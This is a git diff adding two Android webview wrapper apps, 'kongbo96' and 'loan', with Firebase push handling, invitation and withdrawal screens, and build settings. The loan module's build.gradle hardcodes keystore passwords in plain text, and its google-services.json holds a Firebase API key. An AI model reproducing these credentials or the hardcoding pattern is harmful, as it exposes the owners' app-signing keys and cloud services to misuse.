"1" +} \ No newline at end of file diff --git a/kongbo96/ppn.jks b/kongbo96/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/kongbo96/ppn.jks differ diff --git a/kongbo96/proguard-rules.pro b/kongbo96/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/kongbo96/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/kongbo96/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/kongbo96/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/kongbo96/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/kongbo96/src/main/AndroidManifest.xml b/kongbo96/src/main/AndroidManifest.xml new file mode 100644 index 0000000..ca00eb2 --- /dev/null +++ b/kongbo96/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kongbo96/src/main/java/com/web/kongbo96/MainActivity.java b/kongbo96/src/main/java/com/web/kongbo96/MainActivity.java new file mode 100644 index 0000000..447a351 --- /dev/null +++ b/kongbo96/src/main/java/com/web/kongbo96/MainActivity.java @@ -0,0 +1,64 @@ +package com.web.kongbo96; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 189; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + + com.web.base.MainActivity.saveString(this, "base_url","https://kongbo96.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#ff5800"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#ff7901"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/kongbo96/src/main/java/com/web/kongbo96/MyFirebaseMessageingService.java b/kongbo96/src/main/java/com/web/kongbo96/MyFirebaseMessageingService.java new file mode 100644 index 0000000..0718c01 --- /dev/null +++ b/kongbo96/src/main/java/com/web/kongbo96/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.kongbo96; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/kongbo96/src/main/java/com/web/kongbo96/WebApplication.java b/kongbo96/src/main/java/com/web/kongbo96/WebApplication.java new file mode 100644 index 0000000..42521a6 --- /dev/null +++ b/kongbo96/src/main/java/com/web/kongbo96/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.kongbo96; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/kongbo96/src/main/res/drawable-anydpi/ic_action_back.xml b/kongbo96/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/kongbo96/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/kongbo96/src/main/res/drawable-hdpi/ic_action_back.png b/kongbo96/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/kongbo96/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/kongbo96/src/main/res/drawable-mdpi/ic_action_back.png b/kongbo96/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/kongbo96/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/kongbo96/src/main/res/drawable-v24/ic_launcher_foreground.xml b/kongbo96/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/kongbo96/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/kongbo96/src/main/res/drawable-xhdpi/ic_action_back.png b/kongbo96/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/kongbo96/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/kongbo96/src/main/res/drawable-xxhdpi/ic_action_back.png b/kongbo96/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/kongbo96/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/kongbo96/src/main/res/drawable/big_bg.xml b/kongbo96/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..35332fe --- /dev/null +++ b/kongbo96/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/kongbo96/src/main/res/drawable/ic_launcher_background.xml b/kongbo96/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/kongbo96/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/kongbo96/src/main/res/drawable/input_bg.xml b/kongbo96/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/kongbo96/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/kongbo96/src/main/res/drawable/pass_word_bg.xml b/kongbo96/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/kongbo96/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/kongbo96/src/main/res/drawable/pass_word_bg1.xml b/kongbo96/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/kongbo96/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/kongbo96/src/main/res/drawable/pass_word_bg2.xml b/kongbo96/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/kongbo96/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/kongbo96/src/main/res/drawable/shape_btn_bg.xml b/kongbo96/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/kongbo96/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kongbo96/src/main/res/drawable/shape_dialog_bg2.xml b/kongbo96/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/kongbo96/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/kongbo96/src/main/res/drawable/shape_dialog_bg3.xml b/kongbo96/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/kongbo96/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kongbo96/src/main/res/drawable/shape_dialog_bg_new.xml b/kongbo96/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/kongbo96/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kongbo96/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/kongbo96/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/kongbo96/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kongbo96/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/kongbo96/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/kongbo96/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kongbo96/src/main/res/mipmap-hdpi/ic_empty.png b/kongbo96/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/kongbo96/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/kongbo96/src/main/res/mipmap-hdpi/ic_pull_down.png b/kongbo96/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/kongbo96/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/kongbo96/src/main/res/mipmap-xhdpi/ic_close.png b/kongbo96/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/kongbo96/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/kongbo96/src/main/res/mipmap-xhdpi/ic_menu.png b/kongbo96/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/kongbo96/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/kongbo96/src/main/res/mipmap-xxhdpi/app_logo.png b/kongbo96/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..12f2518 Binary files /dev/null and b/kongbo96/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/kongbo96/src/main/res/mipmap-xxhdpi/app_logo1.png b/kongbo96/src/main/res/mipmap-xxhdpi/app_logo1.png new file mode 100644 index 0000000..b24067e Binary files /dev/null and b/kongbo96/src/main/res/mipmap-xxhdpi/app_logo1.png differ diff --git a/kongbo96/src/main/res/values-en/strings.xml b/kongbo96/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/kongbo96/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/kongbo96/src/main/res/values-night/themes.xml b/kongbo96/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/kongbo96/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kongbo96/src/main/res/values/colors.xml b/kongbo96/src/main/res/values/colors.xml new file mode 100644 index 0000000..6380c3a --- /dev/null +++ b/kongbo96/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #ff5800 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/kongbo96/src/main/res/values/strings.xml b/kongbo96/src/main/res/values/strings.xml new file mode 100644 index 0000000..9c68125 --- /dev/null +++ b/kongbo96/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + 港博96 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kongbo96/src/main/res/values/themes.xml b/kongbo96/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/kongbo96/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kongbo96/src/main/res/xml/app_updater_paths.xml b/kongbo96/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/kongbo96/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/kongbo96/src/main/res/xml/network_security_config.xml b/kongbo96/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/kongbo96/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kongbo96/src/main/res/xml/provider_paths.xml b/kongbo96/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/kongbo96/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/kongbo96/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/kongbo96/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/kongbo96/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/loan/.gitignore b/loan/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/loan/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/loan/build.gradle b/loan/build.gradle new file mode 100644 index 0000000..62532ed --- /dev/null +++ b/loan/build.gradle @@ -0,0 +1,80 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.loan" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "loan" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation 'com.squareup.okhttp3:okhttp:4.9.3' // OkHttp + implementation project(path: ':base_no_music') + +} \ No newline at end of file diff --git a/loan/dskjweb.jks b/loan/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/loan/dskjweb.jks differ diff --git a/loan/google-services.json b/loan/google-services.json new file mode 100644 index 0000000..47582cf --- /dev/null +++ b/loan/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "153647844915", + "project_id": "loannoti", + "storage_bucket": "loannoti.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:153647844915:android:23c546d5ab58452a9c1d46", + "android_client_info": { + "package_name": "com.web.loan" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAHRfBSiYFkBxmALRG2-SLWsyyv2NwAMcI" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/loan/ppn.jks b/loan/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/loan/ppn.jks differ diff --git a/loan/proguard-rules.pro b/loan/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/loan/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/loan/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/loan/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/loan/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/loan/src/main/AndroidManifest.xml b/loan/src/main/AndroidManifest.xml new file mode 100644 index 0000000..f1e6d96 --- /dev/null +++ b/loan/src/main/AndroidManifest.xml @@ -0,0 +1,85 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/loan/src/main/java/com/web/loan/LogUtils.java b/loan/src/main/java/com/web/loan/LogUtils.java new file mode 100644 index 0000000..0c3d71e --- /dev/null +++ b/loan/src/main/java/com/web/loan/LogUtils.java @@ -0,0 +1,146 @@ +package com.web.loan; + +import android.util.Log; + + +/** + * Log统一管理类 + * Created by on 2015/10/19 0019. + */ +public class LogUtils { + + private LogUtils() { + throw new UnsupportedOperationException("cannot be instantiated"); + } + +// public static boolean isDebug = ApiService.isDebug;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + public static boolean isDebug = BuildConfig.BUILD_TYPE.equals("debug");// 是否需要打印bug,可以在application的onCreate函数里面初始化 +// public static boolean isDebug = false;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + + private static final String TAG = "BIKAOVIDEO"; + + /** + * 默认tag的函数 + * + * @param msg 打印信息 + */ + public static void v(String msg) { + if (isDebug) Log.v(TAG, msg); + } + + public static void d(String msg) { + if (isDebug) Log.d(TAG, msg); + } + + public static void i(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"BIKAOVIDEOsb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"BIKAOVIDEO" + msg.toString()); + } + } + } + + public static void w(String msg) { + if (isDebug) Log.w(TAG, msg); + } + + public static void e(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.e(TAG, "sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { 